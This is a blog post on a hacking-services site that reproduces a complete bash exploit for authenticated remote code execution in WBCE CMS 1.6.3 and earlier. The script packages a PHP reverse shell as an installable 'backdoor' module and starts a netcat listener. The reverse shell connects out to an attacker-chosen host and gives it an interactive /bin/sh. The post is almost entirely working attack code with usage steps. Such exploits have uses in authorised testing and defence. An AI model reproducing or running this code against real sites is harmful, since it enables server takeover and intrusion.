Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86394818

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WBCE CMS <= v1.6.3 Authenticated Remote Code Execution (RCE)
# Date: 3/22/2025
# Exploit Author: Swammers8
# Vendor Homepage: https://wbce-cms.org/
# Software Link: https://github.com/WBCE/WBCE_CMS
# Version: 1.6.3 and prior
# Tested on: Ubuntu 24.04.2 LTS
# YouTube Demonstration: https://youtu.be/Dhg5gRe9Dzs?si=-WQoiWU1yqvYNz1e
# Github: https://github.com/Swammers8/WBCE-v1.6.3-Authenticated-RCE

#!/bin/bash

# Make a zip file exploit
# Start netcat listener

if [[ $# -ne 2 ]]; then
	echo "[*] Description:"
	echo "[*] This is an Authenticated RCE exploit for WBCE CMS version <= 1.6.3"
	echo "[*] It will create an infected module .zip file and start a netcat listener."
	echo "[*] Once the zip is created, you will have to login to the admin page"
	echo "[*] to upload and install the module, which will immediately run the shell"
	echo "[*] Shell taken from: https://github.com/pentestmonkey/php-reverse-shell/tree/master"
	echo "[!] Usage:"
	echo "[*] $0 <lhost> <lport>"
	exit 1
fi

if [ -z "$(which nc)" ]; then
	echo "[!] Netcat is not installed."
	exit 1 
fi

ip=$1
port=$2

rm -rf shellModule.zip
rm -rf shellModule
mkdir shellModule

echo [*] Crafting Payload

cat <<EOF > shellModule/info.php
<?php
/**
 *
 * @category        modules
 * @package         Reverse Shell
 * @author          Swammers8
 * @link                        https://swammers8.github.io/
 * @license         http://www.gnu.org/licenses/gpl.html
 * @platform        example.com
 * @requirements    PHP 5.6 and higher
 * @version         1.3.3.7
 * @lastmodified    May 22 2025
 *
 *
 */

\$module_directory               = 'modshell';
\$module_name                    = 'Reverse Shell';
\$module_function                = 'page';
\$module_version                 = '1.3.3.7';
\$module_platform                = '2.10.x';

\$module_author                  = 'Swammers8';
\$module_license                 = 'GNU General Public License';
\$module_description     = 'This module is a backdoor';

?>
EOF

cat <<EOF > shellModule/install.php
<?php
set_time_limit (0);
\$VERSION = "1.0";
\$ip = '$ip';  // CHANGE THIS
\$port = $port;       // CHANGE THIS
\$chunk_size = 1400;
\$write_a = null;
\$error_a = null;
\$shell = 'uname -a; w; id; /bin/sh -i';
\$daemon = 0;
\$debug = 0;

if (function_exists('pcntl_fork')) {
	\$pid = pcntl_fork();
	if (\$pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if (\$pid) {
		exit(0);  // Parent exits
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	\$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);


\$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30);
if (!\$sock) {
	printit("\$errstr (\$errno)");
	exit(1);
}

\$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

\$process = proc_open(\$shell, \$descriptorspec, \$pipes);

if (!is_resource(\$process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking(\$pipes[0], 0);
stream_set_blocking(\$pipes[1], 0);
stream_set_blocking(\$pipes[2], 0);
stream_set_blocking(\$sock, 0);

printit("Successfully opened reverse shell to \$ip:\$port");

while (1) {
	if (feof(\$sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof(\$pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	\$read_a = array(\$sock, \$pipes[1], \$pipes[2]);
	\$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);

	if (in_array(\$sock, \$read_a)) {
		if (\$debug) printit("SOCK READ");
		\$input = fread(\$sock, \$chunk_size);
		if (\$debug) printit("SOCK: \$input");
		fwrite(\$pipes[0], \$input);
	}

	if (in_array(\$pipes[1], \$read_a)) {
		if (\$debug) printit("STDOUT READ");
		\$input = fread(\$pipes[1], \$chunk_size);
		if (\$debug) printit("STDOUT: \$input");
		fwrite(\$sock, \$input);
	}

	if (in_array(\$pipes[2], \$read_a)) {
		if (\$debug) printit("STDERR READ");
		\$input = fread(\$pipes[2], \$chunk_size);
		if (\$debug) printit("STDERR: \$input");
		fwrite(\$sock, \$input);
	}
}

fclose(\$sock);
fclose(\$pipes[0]);
fclose(\$pipes[1]);
fclose(\$pipes[2]);
proc_close(\$process);

function printit (\$string) {
	if (!\$daemon) {
		print "\$string\n";
	}
}

?> 
EOF

echo [*] Zipping to shellModule.zip
zip -r shellModule.zip shellModule
rm -rf shellModule
echo [*] Please login to the WBCE admin panel to upload and install the module
echo [*] Starting listener

nc -lvnp $port

echo
echo
echo "[*] Done!"
echo "[*] Make sure to uninstall the module named 'Reverse Shell' in the module page"